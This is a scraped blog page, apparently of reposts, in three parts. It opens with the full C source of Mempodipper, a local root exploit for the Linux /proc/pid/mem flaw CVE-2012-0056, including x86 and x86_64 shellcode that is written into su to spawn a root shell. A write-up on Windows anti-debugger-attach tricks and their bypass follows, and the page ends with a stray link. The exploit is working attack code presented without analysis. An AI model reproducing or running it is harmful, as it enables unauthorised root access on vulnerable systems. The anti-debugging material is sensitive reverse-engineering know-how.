 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 * 
 * Enjoy.
 * 
 * - zx2c4
 * Jan 21, 2012
 * 
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

int send_fd(int sock, int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
int n;
char cms[CMSG_SPACE(sizeof(int))];

buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int));

cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}

int recv_fd(int sock)
{
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
char cms[CMSG_SPACE(sizeof(int))];
iov.iov_base = buf;
iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms;

if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
return fd;
}

int main(int argc, char **argv)
{
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
char parent_mem[256];
sprintf(parent_mem, "/proc/%d/mem", getppid());
printf("[+] Opening parent mem %s in child.\n", parent_mem);
int fd = open(parent_mem, O_RDWR);
if (fd < 0) {
perror("[-] open");
return 1;
}
printf("[+] Sending fd %d to parent.\n", fd);
send_fd(atoi(argv[2]), fd);
return 0;
}
printf("===============================\n");
printf("=          Mempodipper        =\n");
printf("=           by zx2c4          =\n");
printf("=         Jan 21, 2012        =\n");
printf("===============================\n\n");
int sockets[2];
printf("[+] Opening socketpair.\n");
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
perror("[-] socketpair");
return -1;
}
if (fork()) {
printf("[+] Waiting for transferred fd in parent.\n");
int fd = recv_fd(sockets[1]);
printf("[+] Received fd at %d.\n", fd);
if (fd < 0) {
perror("[-] recv_fd");
return -1;
}
printf("[+] Assigning fd %d to stderr.\n", fd);
dup2(2, 6);
dup2(fd, 2);

unsigned long address;
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
address = strtoul(argv[2], NULL, 16);
else {
printf("[+] Reading su for exit@plt.\n");
// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
char result[32];
result[0] = 0;
fgets(result, 32, command);
pclose(command);
address = strtoul(result, NULL, 16);
if (address == ULONG_MAX || !address) {
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
return 1;
}
printf("[+] Resolved exit@plt to 0x%lx.\n", address);
}
printf("[+] Calculating su padding.\n");
FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
char result[256];
result[0] = 0;
fgets(result, 256, command);
pclose(command);
unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
unsigned long offset = address - su_padding;
printf("[+] Seeking to offset 0x%lx.\n", offset);
lseek64(fd, offset, SEEK_SET);
#if defined(__i386__)
// See shellcode-32.s in this package for the source.
char shellcode[] =
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
#elif defined(__x86_64__)
// See shellcode-64.s in this package for the source.
char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

#else
#error "That platform is not supported."
#endif
printf("[+] Executing su with shellcode.\n");
execl("/bin/su", "su", shellcode, NULL);
} else {
char sock[32];
sprintf(sock, "%d", sockets[0]);
printf("[+] Executing child from child fork.\n");
execl("/proc/self/exe", argv[0], "-c", sock, NULL);
}
}


728x90
posted by 블르샤이닝 2011. 12. 15. 14:31
728x90
출처 


It's been a while since i played with packing/unpacking tricks. So, i am going to choose some fancy tricks and try to explain them in detail.

The story begins when i was trying to analyze a security issue in an infamous application. I tried to attach ollydbg to the running process but the process immediately crashed. I quickly googled "anti-attach tricks" and found many useful links.

In the next few posts, i am going to explain those anti-attach tricks.

It would surely be better to understand how debuggers attach themselves to running processes in order to understand those tricks and perhaps innovate new ones.

The main idea behind attaching is that a debugger calls the "DebugActiveProcess" function which ends up with calling the "RtlCreateUserThread" function to create a new remote thread into the target process, with the "DbgUiRemoteBreakin" function as the new thread entry point. 

Thread creation occurs in the "DbgUiIssueRemoteBreakin" function, which looks something like the highlighted line in the image below.


As far as i see, one way to prevent debuggers from attaching to a process is conducted by hooking the "DbgBreakUiRemoteBreakin" or "DbgBreakPoint" function.

I will write a simple executable to demonstrate that. It overwrites the first byte of the "DbgUiRemoteBreakin" function with 0xC3, opcode for retn, thus killing this kind of threads. Similarly, we can patch the "DbgBreakPoint" function.



Trying to attach to such a process, as you can see in the image below, results in an access violation.


Bypassing this trick is pretty easy. Just use ollydbg to debug itself, set a breakpoint on the "RtlCreateUserThread" function call, and finally modify its seventh paramter to point to any int3 in the target process address space. 

Once execution stops at int3 (in the debugged ollydbg), kill the current thread.

This way we can by pass any API patching regardless of which function is patched in the target process address space.

This bypass trick seems to be impractical. So, i decided to write a simple ollydbg plugin for this situation. The plugin simply patches the "DebugActiveProcess" function in ollydbg.exe to jump to the plugin code. The code gets the target process identifier (pid) from the stack and then writes a few instructions to the the "DbgUiRemoteBreakin" function prologue in this process address space.

Here you can download the plugin dll.

N.B. This write-up is based on analysis conducted on Windows XP SP3. Soon, I will extend it to include later operating systems.

N.B. The plugin is only tested on windows XP SP3.

728x90
posted by 블르샤이닝 2011. 12. 15. 14:31
728x90
http://www.freewebs.com/four-f/
728x90